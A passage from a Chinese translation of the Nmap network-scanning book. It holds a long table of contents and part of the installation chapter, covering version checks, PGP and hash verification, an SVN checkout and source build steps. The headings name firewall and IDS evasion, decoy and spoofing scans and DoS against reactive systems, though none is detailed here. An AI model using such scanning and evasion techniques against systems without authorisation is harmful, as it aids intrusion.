TCP FTP 反弹扫描 ( -b)
扫描代码和算法
网络状态监测
主机和端口并行化
往返时间估计
拥塞控制
定时探针
推测的邻居时间
自适应重传
扫描延迟
6.性能优化
介绍
扫描时间缩减技术
省略非关键测试
优化计时参数
区分和优化 UDP 扫描
升级 Nmap
执行并发 Nmap 实例
从有利的网络位置扫描
增加可用带宽和 CPU 时间
长扫描的应对策略
使用多阶段方法
估计和计划扫描时间
端口选择数据和策略
底层计时控制
计时模板 ( -T)
46 小时内扫描 676,352 个 IP 地址
7.服务和应用程序版本检测
介绍
用法和示例
技术描述
秘籍和应急计划 Cheats and Fallbacks
探针选择和稀有度 Probe Selection and Rarity
技术展示
后期处理器
Nmap 脚本引擎集成
RPC 打磨 RPC Grinding
SSL 后期处理器说明
nmap-service-probes文件格式
Exclude指令
Probe指令
match指令
softmatch指令
ports和sslports指令
totalwaitms指令
tcpwrappedms指令
rarity指令
fallback指令
总览
社区贡献
提交服务指纹
提交数据库更正
提交新探针
解决方案:查找所有运行不安全或非标准应用程序版本的服务器
问题
解决
讨论
解决方案:处理版本检测以满足自定义需求,例如开放代理检测
问题
解决
讨论
8.远端操作系统检测
介绍
操作系统检测的原因
确定目标主机的漏洞
订做漏洞利用
网络资产和支持
检测未经授权和危险的设备
社会工程学
用法和示例
Nmap 支持的 TCP/IP 指纹识别方法
发送探测
序列生成(SEQ、OPS、WIN和T1)
ICMP 回显 ( IE)
TCP 显式拥塞通知 ( ECN)
TCP ( T2- T7)
UDP ( U1)
响应测试
TCP ISN 最大公约数 ( GCD)
TCP ISN 计数器速率 ( ISR)
TCP ISN 序列可预测性指数 ( SP)
IP ID 序列生成算法 ( TI, CI, II)
共享 IP ID 序列布尔值 ( SS)
TCP 时间戳选项算法 ( TS)
TCP 选项 (O, O1–O6)
TCP 初始窗口大小 ( W, W1– W6)
响应性 ( R)
IP 不分片位 ( DF)
不分片 (ICMP) ( DFI)
IP 初始生存时间 ( T)
IP 初始生存时间猜测 ( TG)
显式拥塞通知 ( CC)
TCP 杂项怪异( Q) TCP miscellaneous quirks (Q)
TCP 序列号 ( S)
TCP 确认号 ( A)
TCP 标志 ( F)
TCP RST 数据校验和 ( RD)
IP总长度(IPL)
未使用的端口不可达字段非零 ( UN)
返回探针的 IP 总长度值 ( RIPL)
返回探针的 IP ID 值 ( RID)
返回探测的IP 校验和值的完整性 ( RIPCK)
返回探测的UDP 校验和的完整性 ( RUCK)
返回的 UDP 数据的完整性 ( RUD)
ICMP 响应码 ( CD)
IPv6 指纹识别
发送探测
序列生成 ( S1- S6)
ICMPv6 回显 ( IE1)
ICMPv6 回显 ( IE2)
节点信息查询(NI)
邻居发现 Neighbor Solicitation (NS)
UDP ( U1)
TCP 显式拥塞通知 ( TECN)
TCP ( T2- T7)
特征提取
所有特征的列表
与 IPv4 的区别
Nmap 避免的指纹识别方法
被动指纹识别
漏洞利用年表 Exploit Chronology(译者注:某个系统是否存在某个漏洞确定系统版本范围)
重传次数
IP分片
开放端口模型
不再测试
了解 Nmap 指纹
解码对象指纹格式
解码对象指纹的SCAN行
解码参考指纹格式
· 自由格式的操作系统描述(Fingerprint行)
设备和操作系统分类(Class行)
CPE 名称(CPE行)
测试表达式
IPv6 指纹
设备类型
操作系统匹配算法
IPv4 匹配
IPv6 匹配
处理错误识别和未识别的主机
当 Nmap 猜错时
当 Nmap 找不到匹配并打印指纹时
自己修改nmap-os-db数据库
解决方案:检测企业网络上的流氓ap
问题
解决
WAP特性
9. Nmap 脚本引擎
介绍
用法和示例
脚本分类
脚本类型和阶段
命令行参数
脚本选择
脚本参数
完整示例
脚本格式
description字段
categories字段
author字段
license字段
dependencies字段
规则
行动
环境变量
脚本语言
Lua 基础语言
NSE 脚本
NSE 库
所有库列表
黑入 NSE 库
将 C 模块添加到 Nselib
Nmap API
传递给脚本的信息
网络 I/O API
连接式网络 I/O
原始数据包网络 I/O
结构化和非结构化输出
异常处理
注册表
脚本编写教程
头部
规则
行动
编写脚本文档 (NSEDoc)
NSE 文档标签
NSE 中的脚本并发性
工作者线程
互斥体 Mutexes
条件变量
多线程协作
基本线程
使用 NSE 进行版本检测
示例脚本:finger
实现细节
初始化阶段
脚本扫描
10. 检测和破坏防火墙和入侵检测系统
介绍
为什么道德专业人士(白帽)会这样做?
确定防火墙规则
标准syn扫描
返回 RST 的卑鄙Sneaky防火墙
ACK扫描
IP ID 技巧
UDP版本扫描
绕过防火墙规则
奇异的Exotic 扫描标志
源端口操控Manipulation
IPv6 攻击
IP ID空闲扫描
多种 Ping 探针
分片
代理
MAC 地址欺骗
源路由
FTP 反弹扫描
采取替代路径方法(译者注:不可渗透系统不能才常规操作)
防火墙破坏Subversion的真实实例
破坏入侵检测系统
入侵检测系统检测
反向探针
突然的Sudden防火墙更改和可疑的suspicious 数据包
命名约定
无法解释的 TTL 跳跃
避免入侵检测系统
减速
将探测分散Scatter 到网络中,而不是连续扫描主机
分片数据包
规避特定规则
避免容易检测到的 Nmap 特征
误导入侵检测系统
诱饵 Decoys
端口扫描欺骗
空闲扫描
DNS 代理
针对反应式系统的 DoS 攻击
利用入侵检测系统
忽略入侵检测系统
通过防火墙和入侵检测系统检测数据包伪造Forgery
寻找 TTL 一致性Consistency
查找 IP ID 和序列号的一致性
假的BOGUS TCP 校验和技巧
往返时间
数据包头和内容的仔细分析
不寻常的网络均匀性Uniformity
11. 反nmap
介绍
主动扫描,然后关闭或阻止端口并修复漏洞
使用防火墙阻止和减速 Nmap
检测 Nmap 扫描
聪明诡计Clever Trickery
在不起眼的端口Obscure Ports上隐藏服务
端口敲击
蜜罐和蜜网
操作系统欺骗
焦油坑Tar Pits
反应式端口扫描检测
不断升级的Escalating 军备竞赛
12. Zenmap GUI 用户指南
介绍
Nmap 图形前端的目的
扫描
配置文件
扫描聚合
解读扫描结果
扫描结果选项卡
“ Nmap 输出”选项卡
“端口/主机”选项卡
“拓扑”选项卡
“主机详情”选项卡
“扫描”选项卡
按主机排序
按服务排序
保存和加载扫描结果
最近扫描数据库
浏览网络拓扑
“拓扑”选项卡概述
图例 Legend
控件
动作控件
插入Interpolation 控件
布局控件
查看控件
鱼眼控件
键盘快捷键
主机查看器
配置文件编辑器
编辑命令
脚本选择
创建新配置文件
编辑或删除配置文件
主机过滤
搜索保存的结果
比较结果
你的语言中的Zenmap
创建新翻译
Zenmap 使用的文件
可执行nmap文件
系统配置文件
每个用户配置文件
输出文件
zenmap.conf描述
zenmap.conf节
命令行选项
语法概要 Synopsis
选项摘要
错误输出
历史
13. Nmap 输出格式
介绍
命令行标志
控制输出类型
控制输出的详细程度
启用调试输出
启用数据包跟踪
恢复中止的扫描
交互式输出
正常输出 ( -oN)
脚本小子输出 $crIpT kIddI3 0uTPut ( -oS)
XML 输出 ( -oX)
使用 XML 输出
使用 Perl 操作 XML 输出
通用平台列举 (CPE)
CPE 名称的结构
输出到数据库
创建 HTML 报告
保存永久Permanent HTML 报告
可过滤Grepable 输出 ( -oG)
可过滤输出字段
Host字段
Status字段
Ports字段
Protocols字段
Ignored State字段
OS字段
Seq Index字段
IP ID Seq字段
在命令行上解析可过滤输出
14. 理解和自定义 Nmap 数据文件
介绍
周知端口列表:nmap-services
版本扫描数据库:nmap-service-probes
SunRPC 号:nmap-rpc
Nmap 操作系统检测数据库:nmap-os-db
UDP有效载荷:nmap-payloads
MAC 地址供应商前缀:nmap-mac-prefixes
IP 协议号列表:nmap-protocols
与脚本相关的文件
使用自定义数据文件
15. Nmap 参考指南
描述
选项摘要
目标规格
主机发现
端口扫描基础
端口扫描技术
端口规格和扫描顺序
服务和版本检测
操作系统检测
Nmap 脚本引擎 (NSE)
时间和性能
防火墙/IDS 规避和欺骗
输出
其他选项
运行时交互
例子
Nmap书
错误
作者
法律声明
Nmap 版权和许可
本 Nmap 指南的知识共享许可
源代码可用性和社区贡献
没有保证
不当使用
第三方软件和资助通知
美国出口管制
16. Ndiff 参考指南
描述
选项摘要
例子
输出
周期性差异
退出码
错误
历史
作者
网站
17. Ncat 参考指南
描述
选项摘要
连接模式和侦听模式
协议选项
连接模式选项
侦听模式选项
SSL 选项
代理选项
命令执行选项
访问控制选项
时间选项
输出选项
杂选项
Unix 域套接字
AF_VSOCK 套接字
例子
退出码
错误
作者
法律声明
Ncat 版权和许可
本 Ncat 指南的知识共享许可
源代码可用性和社区贡献
没有保证
不当使用
第三方软件
18. Nping 参考指南
描述
选项摘要
目标规格
选项规格
一般操作
探针模式
TCP 连接模式
TCP 模式
UDP模式
ICMP 模式
ICMP 类型
ICMP 代码
ARP 模式
ARP 类型
IPv4 选项
IPv6 选项
以太网选项
以太网类型
有效载荷选项
回显模式
时间和性能选项
其他选项
输出选项
错误
作者
A. Nmap XML 输出 DTD
目的
完整的 DTD
索引
附图
1. IPv4 标头
2.TCP头
3.UDP头
4.ICMP头
1.1 trinity开始她的袭击
1.2. Trinity 扫描矩阵系统
1.3. 对端口扫描合法性和道德性的强烈意见
2.1。从 Windows 命令shell执行 Nmap
2.2. Apple Gatekeeper 阻止屏幕
2.3. Apple Gatekeeper 打开菜单
2.4. Apple Gatekeeper 打开屏幕
3.1。一张名片就能解释一切
3.2. Netcraft 找到 36 个目标 Web 服务器
5.1。ICMPv4 目标不可达标头布局
5.2. 开放端口 22 的 SYN 扫描
5.3. 关闭端口 113 的 SYN 扫描
5.4. 过滤端口 139 的 SYN 扫描
5.5. 连接扫描开放端口 22
5.6. 开放端口的空闲扫描
5.7. 关闭端口的空闲扫描
5.8. 过滤端口的空闲扫描
5.9. 拥塞窗口和阈值
5.10。受扫描延迟影响的扫描速率
8.1。ICMP 回显 请求或回复 标头布局
8.2. ICMP 目标不可达标头布局
10.1。BlackICE 发现了一个不寻常的入侵者
10.2. 被数十个诱饵掩盖的攻击者
12.1. 典型的 Zenmap 屏幕截图
12.2. Zenmap 的主窗口
12.3. 目标和配置文件选择
12.4. 主机选择
12.5。操作系统图标
12.6。服务选择
12.7。将主机的子节点分组
12.8. 拓扑的高亮区域
12.9。选择配置文件
12.10。配置文件编辑器
12.11。“脚本”配置文件编辑器选项卡
12.12。主机过滤器
12.13。搜索对话框
12.14。关键词搜索
12.15。表达式搜索
12.16。比较工具
12.17。比较输出
12.18。德语 Zenmap
12.19。在 Windows XP 上设置环境变量LANG
12.20。在 Mac OS X 上设置环境变量LANG
13.1. Web 浏览器中 XML 输出的 HTML
表
1.格式化样式约定
3.1。首次通过列出 target.com IPs
3.2. 最佳主机发现探针
3.3. 最佳主机发现探针组合
3.4. 最有价值的 TCP 探测端口,按可访问性的降序排列。
5.1。ICMP 目标不可达(类型 3)代码值
5.2. Nmap 如何解释对 SYN 探针的响应
5.3. Nmap 如何解释对 UDP 探针的响应
5.4. Nmap 如何解释对 NULL、FIN 或 Xmas 扫描探针的响应
5.5. Nmap 如何解释对 ACK 扫描探针的响应
5.6. Nmap 如何解释对窗口扫描 ACK 探针的响应
5.7. Nmap 如何解释对 Maimon 扫描探针的响应
5.8. Nmap 如何解释对 IP 协议探针的响应
6.1。达到各种有效性水平所需--top-ports的值
6.2. 按功能进行的底层计时控制
6.3. 计时模板及其效果
7.1。versioninfo字段格式和值
7.2. versioninfo辅助函数
8.1。O测试值
8.2. DFI测试值
8.3. CC测试值
8.4. S测试值
8.5。A测试值
8.6. F测试值
8.7. CD测试值
8.8. 参考指纹测试表达式运算符
8.9。对 Mac OS X 的操作系统猜测
9.1。port.version值
示例
1.典型的 Nmap 扫描
1.1。针对 Avatar Online IP 地址的 Nmap 列表扫描
1.2. 针对 AO 防火墙的nmap结果
1.3. 另一个有趣的AO机器
1.4. nmap-diff典型输出
1.5。nmap-report 执行
2.1。检查 Nmap 并确定其版本号
2.2. 验证 Nmap 和 Fyodor PGP 密钥指纹
2.3. 验证 PGP 密钥指纹(成功)
2.4. 检测假冒文件
2.5. 一个典型的 Nmap 发布摘要文件
2.6. 验证 Nmap 哈希
2.7. 配置成功画面
2.8. 从二进制 RPM 安装 Nmap
2.9。从源 RPM 构建和安装 Nmap
2.10。从系统 Yum 存储库安装 Nmap
3.1。使用host命令查询常见的DNS记录类型
3.2. 区域传输失败和成功
3.3. 针对 www.target.com 的 Nmap 反向 DNS 和跟踪路由扫描
3.4. 使用 whois 查找 www.target.com IP 地址的所有者
3.5. 使用 whois 查找包含 161.225.130.163 的网络块
3.6. 使用列举扫描枚举 www.stanford.edu 周围的主机
3.7. 通过 ping 扫描发现www.lwn.net周围的主机
3.8. 尝试 ping 流行的 Internet 主机
3.9. 使用端口 80 SYN 探针重试主机发现
3.10。尝试对 Microsoft 进行 ACK ping
3.11。离线目标的原始 IP ping 扫描
3.12。离线目标的 ARP ping 扫描
3.13。生成 50,000 个 IP 地址,然后使用默认选项 ping 扫描
3.14。使用额外的探针重复 ping 扫描
4.1。在 Linux 上查看和增加临时ephemeral端口范围
4.2. 简单扫描:nmap scanme.nmap.org
4.3. 复杂点:nmap -p0- -v -A -T4 scanme.nmap.org
4.4. 简单的 IPv6 扫描
4.5. 发现花花公子的 IP 空间
4.6. ping 花花公子web服务器以获得延迟估计
4.7. 挖掘 花花公子的 DNS 记录
4.8. ping MX 服务器
4.9. TCP pinging MX 服务器
4.10。启动扫描
4.11。开放端口的 Egrep
5.1。显示三个端口状态的 SYN 扫描
5.2. 使用——packet-trace来理解SYN扫描
5.3. 连接扫描示例
5.4. UDP 扫描示例
5.5. UDP 扫描示例
5.6. 通过版本检测改进 Felix 的 UDP 扫描结果
5.7. 通过版本检测改进 Scanme 的 UDP 扫描结果
5.8. 尝试用 TTL 差异discrepancies消除 UDP 端口的歧义disambiguate
5.9. 优化 UDP 扫描时间
5.10。FIN 和 Xmas 扫描示例
5.11。Docsrv 的 SYN 扫描
5.12。Docsrv 的 FIN 扫描
5.13。Google 的 SYN/FIN 扫描
5.14。自定义 PSH 扫描
5.15。典型的 ACK 扫描
5.16。Docsrv 的 ACK 扫描
5.17。docsrv.caldera.com 的窗口扫描
5.18。Maimon 扫描失败
5.19。针对 RIAA 的空闲扫描
5.20。路由器和典型 Linux 2.4 机器的 IP 协议扫描
5.21。尝试 FTP 反弹扫描
5.22。成功的 FTP 反弹扫描
6.1。本地 100 Mbps 以太网网络的带宽使用情况
6.2. 估计扫描时间
7.1。版本检测的简单使用
7.2. 针对 www.microsoft.com 的版本检测
7.3. 复杂版本检测
7.4. NULL 探针秘籍cheat 示例输出
7.5。使用rpcinfo枚举 RPC 服务
7.6. Nmap 直接 RPC 扫描
7.7. 通过 SSL 进行版本扫描
8.1。带有详细程度的操作系统检测 ( -O -v)
8.2. 使用版本扫描检测操作系统
8.3. 典型的对象指纹
8.4. 被清理的对象指纹
8.5。典型的参考指纹
8.6. 一些典型的指纹描述和相应的分类
8.7. 典型的 CPE 分类
8.8. IPv6 指纹
8.9。被清理的 IPv6 指纹
8.10。MatchPoints的结构
8.11。针对用户 WAP 扫描结果
9.1。典型 NSE 输出
9.2. 脚本帮助
9.3. 连接式 I/O
9.4。NSE结构化输出的自动格式化
9.5。XML 中的 NSE 结构化输出
9.6。异常处理示例
9.7。函数的 NSEDoc 注释
9.8。模块的 NSEDoc 注释
9.9。脚本的 NSEDoc 注释
9.10。工作者线程
9.11。互斥操作
9.12。基本协程使用
9.13。链接生成器
9.14。一个典型的版本检测脚本(Skype版本2检测)
10.1。检测关闭和过滤的 TCP 端口
10.2. 针对 Scanme 的 ACK 扫描
10.3. 对于 Para对比 SYN 和 ACK 扫描
10.4. 针对防火墙主机的 UDP 扫描
10.5。针对防火墙主机的 UDP 版本扫描
10.6。针对无状态防火墙的 FIN 扫描
10.7。使用源端口 88 绕过 Windows IPsec 过滤器
10.8。比较 IPv4 和 IPv6 扫描
10.9。使用 FTP 反弹扫描漏洞利用打印机
10.10。Megacorp 的一些有趣的主机和网络
10.11。对目标网络进行 Ping 扫描
10.12。针对单个 IP 的数据包跟踪
10.13。测试空闲扫描
10.14。测试源路由
10.15。最后的成功
10.16。主机名可能具有欺骗性
10.17。使用 traceroute 记录 TTL 间隙
10.18。使用 IP 记录路由选项
10.19。慢速扫描绕过默认的 Snort 2.2.0 Flow-portscan 固定时间扫描检测方法
10.20。引用 Nmap 的默认 Snort 规则
10.21。使用 DNS 代理(递归 DNS)对 SecurityFocus 进行隐形列举扫描
10.22。检测关闭和过滤的 TCP 端口
10.23。测试 IP ID 序号一致性
10.24。用错误TCP经验和 查找防火墙
11.1。全 TCP 端口版本扫描
11.2. 用个性IP欺骗Nmap
13.1. 针对本地网络输出Scanrand
13.2. 过滤详细程度条件
13.3. 未启用详细程度的交互式输出
13.4. 启用详细程度的交互式输出
13.5。一些有代表性的调试行
13.6。使用——packet-trace来详细描述Scanme的ping扫描
13.7。正常输出的典型例子
13.8. $crIpt KiDDi3 0utPut 的典型例子
13.9。Nmap XML 输出示例
13.10。Nmap XML 端口元素
13.11。Nmap::Parser 示例代码
13.12。Nmap::Scanner 示例代码
13.13。高亮 CPE 的正常输出
13.14。可过滤输出的典型示例
13.15。Ping 扫描可过滤输出
13.16。列举扫描 可过滤输出
13.17。用于 IP 协议扫描的 可过滤输出
13.18。在命令行上解析 可过滤输出
14.1. 摘自nmap-services
14.2. 摘自nmap-service-probes
14.3. 摘自nmap-rpc
14.4. 摘自nmap-os-db
14.5。摘自nmap-payloads
14.6。摘自nmap-mac-prefixes
14.7. 摘自nmap-protocols
15.1. 有代表性的 Nmap 扫描
16.1. Ndiff 文本输出
16.2. Ndiff XML 输出
16.3. 使用 Ndiff 和 cron 定期扫描网络
18.1. 有代表性的 Nping 执行
18.2. 发现 NAT 设备
18.3. 发现透明代理
2. Nmap的获取、编译、安装、删除
介绍
测试 Nmap 是否已经安装
命令行和图形界面
下载 Nmap
验证 Nmap 下载的完整性
从 Subversion (SVN) 存储库中获取 Nmap
Linux/Unix 源码编译安装
配置指令
环境变量
如果遭遇编译问题
Linux 发行版
基于 RPM 的发行版(Red Hat、Mandrake、SUSE、Fedora)
使用 Yum 更新 Red Hat、Fedora、Mandrake 和 Yellow Dog Linux
Debian Linux 和其衍生产品 如Ubuntu
其他 Linux 发行版
Windows
Windows 自安装程序
命令行 Zip 二进制文件
安装 Nmap zip 二进制文件
从源代码编译
在 Windows 上执行 Nmap
苹果 Mac OS X
可执行安装程序
从源代码编译
从源代码编译 Nmap
从源代码编译 Zenmap
第三方包
在 Mac OS X 上执行 Nmap
其他平台(BSD、Solaris、AIX、AmigaOS)
FreeBSD / OpenBSD / NetBSD
OpenBSD 二进制包和源端口说明
FreeBSD 二进制包和源端口说明
NetBSD 二进制包说明
Oracle/Sun Solaris
IBM AIX
AmigaOS
删除 Nmap
介绍
Nmap 通常可以用一条命令来安装或升级,所以不要让本章的长度吓到你。大多数读者会使用目录直接跳到与他们相关的部分。本章介绍如何在多种平台上安装 Nmap,包括源代码编译和二进制安装方法。描述和对比了 Nmap 的图形化和命令行版本。如果您改变主意,还提供了Nmap删除说明。
测试 Nmap 是否已经安装
获取 Nmap 的第一步是检查您是否已经拥有它。许多自由操作系统发行版(包括大多数Linux和BSD系统)都有Nmap包,尽管它们可能不是默认安装的(译者注:这里的言外之意就是nmap默认没有安装在系统中而在应用商店里,需要你自行安装,这所谓的应用商店正规的叫法是官方镜像软件源)。在 Unix 系统上,打开终端窗口并尝试执行命令 nmap --version
。如果 Nmap 存在并且在您的PATH 中 ,您 应该会看到类似于示例 2.1中的输出。
如果系统上不存在Nmap (或者你PATH
的设置不正确),会报诸如此类的错误信息 nmap: Command not found
。如上例所示,Nmap 通过打印其版本号(此处4.76
)来响应命令。
即使您的系统已经有 Nmap 的副本,您也应该考虑从https://nmap.org/download.html升级到最新版本。较新的版本通常运行速度更快,修复了重要的错误,并更新了操作系统和服务版本检测数据库。可以在https://nmap.org/changelog.html找到自系统上已有版本以来的更改日志清单。 本文档中的Nmap输出示例可能与旧版本的输出不匹配。
命令行和图形界面
传统的Nmap是一个命令行工具,从Unix shell或(最近)Windows命令提示符运行。这使专家可以快速执行完全符合他们要求的命令,而不需要在一堆配置面板和分散的选项栏中操作。这也使Nmap更容易编写脚本,并能在用户社区中轻松分享有用的命令。
命令行方法的一个缺点是它可能会吓到新用户和不常使用的用户。Nmap 提供了一百多个命令行选项,尽管许多晦涩的功能或调试控制大多数用户可以忽略。为喜欢 GUI 界面的用户创建了许多图形前端。Nmap 传统上包含一个用于 Unix 的简单 GUI,名为NmapFE,但在 2007 年被 Zenmap 取代,Zenmap 是我们自 2005 年以来一直在开发的。Zenmap 比 NmapFE 更强大和有效,尤其是在结果查看方面。Zenmap 基于选项卡的界面让您可以搜索和排序结果,还可以通过多种方式浏览它们(主机详细信息、原始 Nmap 输出和端口/主机)。它适用于 Linux、Windows、Mac OS X 和其他平台。Zenmap 在第 12 章Zenmap GUI 用户指南中有详细介绍。本书的其余部分侧重于命令行 Nmap 调用。一旦您了解了命令行选项的工作原理并可以解释输出,使用 Zenmap 或其他可用的 Nmap GUI 就很容易了。无论您是从单选按钮和菜单中选择它们还是在命令行中键入它们,Nmap 的选项都以相同的方式工作。
下载 Nmap
Nmap.Org是下载Nmap源代码和Nmap和Zenmap的二进制文件的官方来源。源代码以bzip2和gzip压缩的tar文件分发,二进制文件可用于Linux (RPM格式), Windows (NSIS可执行安装程序) 和Mac OS X (.dmg磁盘镜像)。在https://nmap.org/download.html 找到所有这些。
验证 Nmap 下载的完整性
对从 Internet 下载的文件的完整性持怀疑态度通常是值得的。流行的软件包,如Sendmail(例子)、OpenSSH(例子)、tcpdump、Libpcap、BitchX、Fragrouter和其他都被感染了恶意木马。自由软件基金会、Debian 和 SourceForge 的软件分发站点也已成功入侵。Nmap从未发生过这种情况,但应该始终小心。要验证 Nmap 版本的真实性,请查阅 Nmap 签名目录中发布的 PGP 分离签名或加密哈希(包括 SHA1 和 MD5),网址为https://nmap.org/dist/sigs/?C=M&O= D. _
最安全的验证机制是分离的 PGP签名 。由于签名密钥(译者注:作者没有解释清楚签名密钥是什么,这里实际指的是rsa私钥)永远不会存储在生产服务器上,因此即使是成功入侵 Web 服务器的人也无法伪造并正确签署木马版本。虽然许多应用程序都能够验证 PGP 签名,但我推荐使用GNU Privacy Guard (GPG)。
Nmap 版本使用特殊的 Nmap 项目签名密钥进行签名,可以 从主流密钥服务器或https://svn.nmap.org/nmap/docs/nmap_gpgkeys.txt获得。我的密钥(译者注:作者没有解释清楚我的密钥是什么,这里实际指的是rsa公钥,与私钥是一对)也包含在该文件中。可以使用命令 gpg --import nmap_gpgkeys.txt导入密钥。您只需要做一次,然后您就可以从该机器验证所有未来的 Nmap 版本。在信任密钥之前,请验证指纹是否与示例 2.2中显示的值匹配。
flog~> gpg --fingerprint nmap fyodor
pub 1024D/33599B5F 2005-04-24
Key fingerprint = BB61 D057 C0D7 DCEF E730 996C 1AF6 EC50 3359 9B5F
uid Fyodor <fyodor@insecure.org>
sub 2048g/D3C2241C 2005-04-24
pub 1024D/6B9355D0 2005-04-24
Key fingerprint = 436D 66AB 9A79 8425 FDA0 E3F8 01AF 9F03 6B93 55D0
uid Nmap Project Signing Key (http://insecure.org/)
sub 2048g/A50A6A94 2005-04-24
对于每个Nmap包的下载文件(例如nmap-4.76.tar.bz2和nmap-4.76-win32.zip),在sigs目录中有一个对应的文件,名字后面加了.asc(例如nmap-4.76.tar.bz2.asc)。这就是分离的签名文件。
在您的密钥环中使用正确的 PGP 密钥并下载分离的签名文件后,验证 Nmap 版本需要一个 GPG 命令,如示例 2.3所示。该示例假设验证的文件可以在同一目录下找到,只需从签名文件名中去掉".asc"。如果不是这种情况,只需将目标文件名作为最终参数传递给 GPG。如果文件已被篡改,结果将类似于示例2.4。
flog> gpg --verify nmap-4.76.tar.bz2.asc
gpg: Signature made Fri 12 Sep 2008 02:03:59 AM PDT using DSA key ID 6B9355D0
gpg: Good signature from "Nmap Project Signing Key (http://www.insecure.org/)"
flog> gpg --verify nmap-4.76.tar.bz2.asc nmap-4.76-hacked.tar.bz2
gpg: Signature made Fri 12 Sep 2008 02:03:59 AM PDT using DSA key ID 6B9355D0
gpg: BAD signature from "Nmap Project Signing Key (http://www.insecure.org/)"
虽然 PGP 签名是推荐的验证技术,但 SHA2、SHA1 和 MD5(以及其他)哈希可 用于更临时的验证。一个能够实时操纵您的互联网流量的攻击者(而且非常熟练)或者破坏Nmap.Org并替换分发文件和摘要文件的攻击者,可以击败这种测试。但是,如果您从第三方获得 Nmap 或感觉它可能已意外损坏,检查权威的 Nmap.Org 哈希可能很有用。对于每个Nmap包的下载文件,在sigs目录中有一个相应的文件,名字后面加了.digest.txt (例如:nmap-4.76.tar.bz2.digest.txt)。一个例子显示在例2.5中。这是分离的签名文件。来自摘要文件的哈希值可以用普通工具验证,比如gpg、sha1sum或md5sum,如例2.6,"验证Nmap哈希值 "所示。
flog> cat sigs/nmap-4.76.tgz.digest.txt
nmap-4.76.tgz: MD5 = 54 B5 C9 E3 F4 4C 1A DD E1 7D F6 81 70 EB 7C FE
nmap-4.76.tgz: SHA1 = 4374 CF9C A882 2C28 5DE9 D00E 8F67 06D0 BCFA A403
nmap-4.76.tgz: RMD160 = AE7B 80EF 4CE6 DBAA 6E65 76F9 CA38 4A22 3B89 BD3A
nmap-4.76.tgz: SHA224 = 524D479E 717D98D0 2FB0A42B 9A4E6E52 4027C9B6 1D843F95
D419F87F
nmap-4.76.tgz: SHA256 = 0E960E05 53EB7647 0C8517A0 038092A3 969DB65C BE23C03F
D6DAEF1A CDCC9658
nmap-4.76.tgz: SHA384 = D52917FD 9EE6EE62 F5F456BF E245675D B6EEEBC5 0A287B27
3CAA4F50 B171DC23 FE7808A8 C5E3A49A 4A78ACBE A5AEED33
nmap-4.76.tgz: SHA512 = 826CD89F 7930A765 C9FE9B41 1DAFD113 2C883857 2A3A9503
E4C1E690 20A37FC8 37564DC3 45FF0C97 EF45ABE6 6CEA49FF
E262B403 A52F4ECE C23333A0 48DEDA66
flog>gpg --print-md sha256 nmap-4.76.tgz
nmap-4.76.tgz: 0E960E05 53EB7647 0C8517A0 038092A3 969DB65C BE23C03F D6DAEF1A CDCC9658 flog>sha1sum nmap-4.76.tgz
4374cf9ca8822c285de9d00e8f6706d0bcfaa403 nmap-4.76.tgz flog>md5sum nmap-4.76.tgz
54b5c9e3f44c1adde17df68170eb7cfe nmap-4.76.tgz
虽然 Nmap.Org 的版本已按照本节所述进行签名,但某些 Nmap 附加组件、接口和特定于平台的二进制文件是由其他方开发和分发的。他们有不同的机制来确定下载的真实性。
从 Subversion (SVN) 存储库中获取 Nmap
除了常规的稳定版和开发版之外,最新的 Nmap 源代码始终可以使用Subversion (SVN) 版本控制系统获得。这可以在新功能和版本/操作系统检测数据库开发出来后立即提供它们的更新。缺点是 SVN 主要修订并不总是像官方版本那样稳定。因此,SVN 对于需要尚未正式发布修复的 Nmap 开发人员和用户最有用。
SVN 写入权限严格限制为顶级 Nmap 开发者,但每个人都具有对存储库的读取权限。使用命令svn co https://svn.nmap.org/nmap查看最新代码。然后你可以稍后通过在你的工作目录中输入svn up来更新你的源代码。
虽然大多数用户只关注SVN中的/nmap目录,但还有一个有趣的目录/nmap-exp。这个目录包含Nmap的实验性分支,当Nmap开发者希望在不破坏Nmap本身稳定的情况下尝试新东西时,他们会创建这个分支。当开发者觉得一个实验性分支可以进行更广泛的测试时,他们一般会把这个分支的位置发到nmap-dev邮件列表。
一旦Nmap被检查通过,您可以从源代码构建它,就像您用Nmap tarball一样(在本章后面描述)。
如果您希望在对 Nmap 进行任何更改时通过电子邮件获得实时(或摘要)通知和比较,请在https://nmap.org/mailman/listinfo/svn注册 nmap-svn 邮件列表。
Linux/Unix 源码编译安装
虽然二进制包(在后面的章节中讨论)可用于大多数平台,但从源代码编译和安装是安装 Nmap 的传统且最强大的方法。这确保了最新版本可得,并允许 Nmap适配您系统的库可用性和目录结构。例如,Nmap 在可用时使用 OpenSSL 加密库进行版本检测,但大多数二进制包不包含此功能。另一方面,二进制包通常更快更易安装,并允许对系统上所有打包软件进行统一管理(安装、删除、升级等)。
源码安装通常是一个无痛过程--构建系统被设计为尽可能地自动检测。以下是默认安装所需的步骤。
-
下载。从https://nmap.org/download.html 下载最新版本的Nmap的.tar.bz2(bzip2压缩)或.tgz(gzip压缩)格式。
-
解压。使用以下命令解压缩下载的 tarball:
bzip2 -cd nmap-
<VERSION>
.tar.bz2 | tar xvf -使用 GNU tar,更简单的命令tar xvjf nmap-
<VERSION>
.tar.bz2可以解决问题。如果你下载的是.tgz版本,在解压命令中用gzip替换bzip2。 -
进入。切换到新创建的目录:cd nmap-
<VERSION>
-
配置。配置构建系统:./configure
如果配置成功,会出现一条 ASCII 艺术龙,恭喜您配置成功,并提醒您小心,如示例 2.7所示。
例 2.7。配置成功画面flog~/nmap>
./configure
检查构建系统类型... x86_64-unknown-linux-gnu
【数百行删减】
配置:创建 ./config.status
config.status:创建 Makefile
config.status:创建 nsock_config.h
config.status:nsock_config.h 不变( ) /\ _ ( \ | ( \ ( \.( ) _____ \ \ \ ` ` ) \ ( ___ / _ \ (_` \+ . x ( .\ \/ \____-----------/ (o) \_ - .- \+ ; ( O \____ (__ +- .( -'.- <. \_____________ ` \ / (_____ ._._: <_ - <- _- _ VVVVVVV VV V\ \/ . /./.+- . .- / +-- - . (--_AAAAAAA__A_/ | (__ ' /x / x _/ ( \______________//_ \_______ , x / ( ' . / . / \___' \ / / / _/ / + | \ / ' (__/ / \/ / \
NMAP 是一个强大的工具——谨慎且负责任地使用
配置完成。键入 make(或在某些 *BSD 机器上为 gmake)进行编译。 -
构建。构建 Nmap(如果环境满足要求构建Zenmap GUI):
请注意,GNU Make 是必需的。在 BSD 派生的 Unix 系统上,这通常安装为gmake。因此,如果 make返回一堆错误,例如 “
Makefile, line 1: Need an operator
